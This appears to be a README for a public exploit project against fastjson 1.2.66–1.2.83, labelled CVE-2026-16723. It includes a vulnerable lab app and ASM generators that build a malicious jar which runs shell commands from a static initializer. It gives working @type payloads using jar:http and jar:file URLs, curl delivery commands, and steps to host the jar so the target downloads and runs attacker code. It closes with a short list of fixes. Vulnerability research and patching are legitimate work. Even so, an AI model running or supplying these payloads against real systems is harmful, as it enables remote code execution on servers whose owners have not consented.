## https://sploitus.com/exploit?id=3E3FB4F6-6E30-52E9-B136-0CF926B531D2
# 🚨 CVE-2026-16723 — fastjson 1.2.83 `@JSONType` resource detection leading to RCE
*Fastjson 1.2.66 ~ 1.2.83 can be exploited through `@JSONType` annotations, illegal class names, and the `jar:` protocol for remote class loading/command execution.*
> ⚠️ **Disclaimer**
>
> This project is intended only for **security research, vulnerability reproduction, and authorized testing**. It is strictly prohibited to use it for unauthorized systems, illegal attacks, or malicious purposes. Users must bear full responsibility for their actions, and the author assumes no liability for any misuse. ---
Detailed article on RCE: https://mp.weixin.qq.com/s/_4Tnren1hIBToZvHlaKq8w
---
## Project Overview
This project creates a complete environment for reproducing the fastjson 1.2.83 vulnerability identified as **CVE-2026-16723**:
- `demo/` — A Spring Boot 2.7.18 web application with the fastjson 1.2.83 dependency, exposing the `POST /parse` interface, which directly calls `JSON.parse(json)`;
- `exp/` — A malicious probe jar generator based on **ASM**, available in both HTTP and FILE protocols;
- `environment/` — Pre-compiled FatJars containing Tomcat, Jetty, and Undertow, ready for use immediately. The core idea is to create a special JSON where `@type` is set as the **jar URL**, allowing fastjson to follow the `@JSONType` annotation’s trusted branch → download a remote/local jar via `getResourceAsStream` → load the malicious class → class initialization triggers arbitrary command execution. ---
## Vulnerability Description
| Project | Content |
|--------|--------|
| CVE | CVE-2026-16723 |
| Component | Alibaba fastjson |
| Affected Versions | 1.2.66 ~ 1.2.83 (The last version of 1.x still affected) |
| Vulnerability Type | Deserialization for remote code execution (RCE) |
| Trigger Points | `JSON.parse(json)` / `JSON.parseObject(json)` (without specifying the type) |
| Prerequisites | Target is a Spring Boot FatJar, JDK 8, and safeMode is disabled |
### Exploitation Conditions
1. **Target Code**: Uses `JSON.parse(json)` or `JSON.parseObject(json)` to directly parse untrusted inputs, with fastjson version between 1.2.66 and 1.2.83, and safeMode is not enabled;
2. **Target Execution Mode**: Spring Boot **FatJar** (starts with `java -jar`), where the `LaunchedURLClassLoader` retains the `jar:` protocol only in Spring Boot versions earlier than 2.7;
3. **Target JVM**: **JDK 8** (In JDK 9+，`defineClass` will throw `ClassFormatError`, limiting SSRF attempts);
4. **Network Access**: The target must be able to access the attacker’s HTTP port (HTTP protocol chain) or read the local jar file (FILE protocol chain). ---
## Vulnerability Mechanism
Fastjson’s `checkAutoType` enters a **trusting branch** when encountering a class annotated with `@JSONType`, skipping most blacklist checks and allowing loading. This project exploits this mechanism by using **ASM to write bytecode directly**, inserting an **illegal internal class name** into the `this_class` constant pool, ensuring perfect alignment of the three names:
```
@type jar:http:..2130706433:19090.x!.y (Point format, no slashes)
resource jar:http://2130706433:19090/x!/y.class (Point -> slash)
this_class jar:http://2130706433:19090/x!/y (Bytecode internal class name)
```
Malicious Class Structure:
1. **`@JSONType` Annotation** — Unlocks Fastjson’s `checkAutoType` trusting branch;
2. **Default Constructor `()V`** — Ensures that Fastjson can be instantiated properly;
3. **Static Initialization Block** — During class loading initialization, it executes `Runtime.exec(new String[]{"/bin/bash", "-c", ""})`, enabling command execution. Illegal class names cannot be written using `javac`; only ASM can directly insert URLs into the constant pool. This is why this project uses `asm-9.6.jar` as its generator dependency. ---
## Project Structure
```
CVE-2026-16723_fastjson-jsontype vulnerability/
├── notes.txt # Quick reference (HTTP / file protocol)
├── demo/ # Vulnerability lab code (Spring Boot 2.7.18 + fastjson 1.2.83)
│ └── src/main/java/com/example/demo/
│ ├── DemoApplication.java
│ └── controller/VulController.java # POST /parse -> JSON.parse(json)
├── exp/ # Malicious probe jar generator
│ ├── GenProbeHttp.java # HTTP protocol (jar:http)
│ ├── GenProbefile.java # FILE protocol (jar:file)
│ └── asm-9.6.jar # ASM bytecode library
└── environment/ # Pre-compiled lab FatJar (ready to use)
├── demo-0.0.1-SNAPSHOT.jar # Tomcat middleware
├── demo-0.0.1-SNAPSHOT-jetty.jar # Jetty middleware
├── demo-0.0.1-SNAPSHOT-Undertow.jar # Undertow middleware
└── asm-9.6.jar
```
### Lab interface
`demo/src/main/java/com/example/demo/controller/VulController.java`:
```java
@PostMapping("/parse")
public String parse(@RequestBody String json) {
ParserConfig.getGlobalInstance().setAsmEnable(false);
ParserConfig.getGlobalInstance().setDefaultClassLoader(ParserConfig.class.getClassLoader());
JSON.parse(json); // No type specified, insecure input is parsed directly
return "Parsed!";
}
```
---
## 🚀 Quick start
### 1. Launch the vulnerability lab
> The lab must run in **JDK 8** environment (same as the exploitation conditions). ```bash
# Method A (Recommended): Use pre-compiled FatJar; choose any of three middleware
java -jar ../environment/demo-0.0.1-SNAPSHOT.jar # Tomcat
java -jar ../environment/demo-0.0.1-SNAPSHOT-jetty.jar # Jetty
java -jar ../environment/demo-0.0.1-SNAPSHOT-Undertow.jar # Undertow
# Method B: Build and run from source code (default Tomcat; Maven required on local machine)
cd demo
mvn spring-boot:run
```
After launching, the interface address will be: `http://127.0.0.1:8080/parse`
---
## 💥 Vulnerability exploitation
### Method 1: HTTP protocol (jar:http, recommended)
#### ① Compile the generator
```bash
cd exp
javac -cp asm-9.6.jar GenProbeHttp.java
```
#### ② Generate the malicious probe jar
```bash
java -cp asm-9.6.jar:. GenProbeHttp 19090 'open -a Calculator'
```
- `19090` – The HTTP hosting port of the malicious jar
- `open -a Calculator` – Command to execute on the target machine (On macOS, it will open a calculator; on Linux, use `id > /tmp/pwned 2>&1` to check if the file exists)
The default generated file is `x` (without extension), containing `y.class`.
The payload is:
```json
{"@type":"jar:http:..2130706433:19090.x!.y","x":1}
```
#### ③ Host the malicious jar (HTTP service)
```bash
python3 -m http.server 19090
```
> Make sure that `python3 -m http.server` runs in the directory where `x` file was generated. #### ④ Send the payload to the target
```bash
curl -X POST http://127.0.0.1:8080/parse \
-H 'Content-Type: application/json' \
-d '{"@type":"jar:http:..2130706433:19090.x!.y","x":1}'
```
#### ⑤ Verification
The command execution result **will not** be displayed in the HTTP response. You need to check on the target machine:
```bash
# On Linux target
cat /tmp/pwned # You can see `uid=...` indicating the command executed successfully
# On macOS target
# Observe whether the calculator opens
```
---
### Method 2: FILE protocol (jar:file)
**Applicable scenarios**: The target **cannot access the attacker’s HTTP port** (internet isolation / network restrictions),
but the jar file can be placed in the target machine’s file system. #### ① Compile the generator
```bash
cd exp
javac -cp asm-9.6.jar GenProbefile.java
```
#### ② Generate the probe jar in the target directory
```bash
java -cp asm-9.6.jar:. GenProbefile 19090 'open -a Calculator'
```
The generator will calculate the `jar:file:` URL based on the **current directory**. The directory separator `/` will be replaced with `.`. For example, if the generation occurs in `/tmp/project/exp`, the payload will be:
```json
{"@type":"jar:file:.tmp.project.exp.y!.x","x":1}
```
#### ③ Place the generated jar in the target machine’s corresponding directory
Upload or copy the generated file `y` to the target machine at the absolute path corresponding to `@type` (e.g., `/tmp/project/exp/y`). Keep the directory structure consistent. #### ④ Send the payload to the target
```bash
curl -X POST http://127.0.0.1:8080/parse \
-H 'Content-Type: application/json' \
-d '{"@type":"jar:file:.tmp.project.exp.y!.x","x":1}'
```
> Note: The path of the FILE protocol chain must **exactly match** the actual file path on the target machine. Otherwise, resource detection will fail, and loading will not occur. ---
## ⚙️ Generator Parameters
### GenProbeHttp (HTTP protocol chain)
| Parameter | Default | Description |
|----------|--------|-------------|
| `port` | `19090` | Port for hosting the malicious jar |
| `cmd` | `id > /tmp/pwned 2>&1` | Command executed on the target machine |
| `hostToken` | `2130706433` | Integer form of the target’s IP address (`127.0.0.1`) |
| `entry` | `y` | Name of the class entry in the jar |
| `outFile` | `x` | Name of the generated jar file (without extension) |
### GenProbefile (FILE protocol chain)
| Parameter | Default | Description |
|----------|--------|-------------|
| `port` | `19090` | Parameter left unchanged (FILE chain does not use ports) |
| `cmd` | `id > /tmp/pwned 2>&1` | Command executed on the target machine |
| `dir` | Current directory | Directory where the jar will be placed on the target machine (used to generate `jar:file:` URLs) |
| `entry` | `x` | Name of the class entry in the jar |
| `outFile` | `y` | Name of the generated jar file (without extension) |
### Converting IP to Integer Form
`2130706433` is a unsigned 32-bit integer equivalent to `127.0.0.1`. Using an integer avoids issues with `.` being replaced by `/` in fastjson. When the attacker device is not on the same network as the target machine:
```bash
python3 -c "import socket,struct;print(struct.unpack('!I',socket.inet_aton('Your IP'))[0])"
```
---
## 🔍 Common Issues
### Error: `autoType is not supported. jar:http:...`
This indicates that the jar can be downloaded (SSRF established), but `TypeUtils.loadClass` returns `null`. There are almost only two reasons:
1. **The malicious class does not have the `@JSONType` annotation** — The detection fails at the trust level, and `loadClass` is never executed.
2. **The internal class name in the malicious class does not match `@type'` — The class name in `defineClass` does not match, resulting in loading failure. This project’s generator has resolved both issues: `@JSONType` annotation + three-point alignment of names. ### Can’t achieve RCE with a single `jar:http` chain? If the target’s ClassLoader is not `LaunchedURLClassLoader` (e.g., running directly from an IDE, a regular war package, Spring Boot 3.x), a single `jar:http` chain cannot achieve RCE. At most, it can only detect SSRF. ### Why JDK 8? JDK 9+ uses stricter checks for illegal class names in `defineClass`, potentially throwing `ClassFormatError` and breaking the chain during loading. ---
## 🛡 Fix Suggestions
1. **Upgrade components**: Fastjson 1.x has stopped maintenance. It is recommended to upgrade to **fastjson2** (or to a fixed version) and follow official security announcements.
2. **Enable safeMode**: `ParserConfig.getGlobalInstance().setSafeMode(true);` can completely disable autoType.
3. **Avoid parsing untrusted inputs**: Do not directly call `JSON.parse(json)` or `JSON.parseObject(json)` with user input. Instead, use `JSON.parseObject(json, Xxx.class)` to specify the target type.
4. **Use whitelists/blacklists**: Use `ParserConfig.addAccept(...)` to only allow trusted classes.
5. **Upgrade Spring Boot/JDK**: Using higher versions of JDK and Spring Boot can reduce exploitability.
6. **Minimize exposure**: Implement authentication and WAF to intercept suspicious `@type` payloads when exposing interfaces to the internet. ---
## 📚 References
- Fastjson official GitHub: https://github.com/alibaba/fastjson
- Fastjson security announcements/vulnerabilities: https://github.com/alibaba/fastjson/wiki/security_update_guidance
---
If this project helps you, please ⭐ Star to support security research and vulnerability documentation. **⚠️ Please use this project only for authorized testing. Do not use it for illegal purposes!**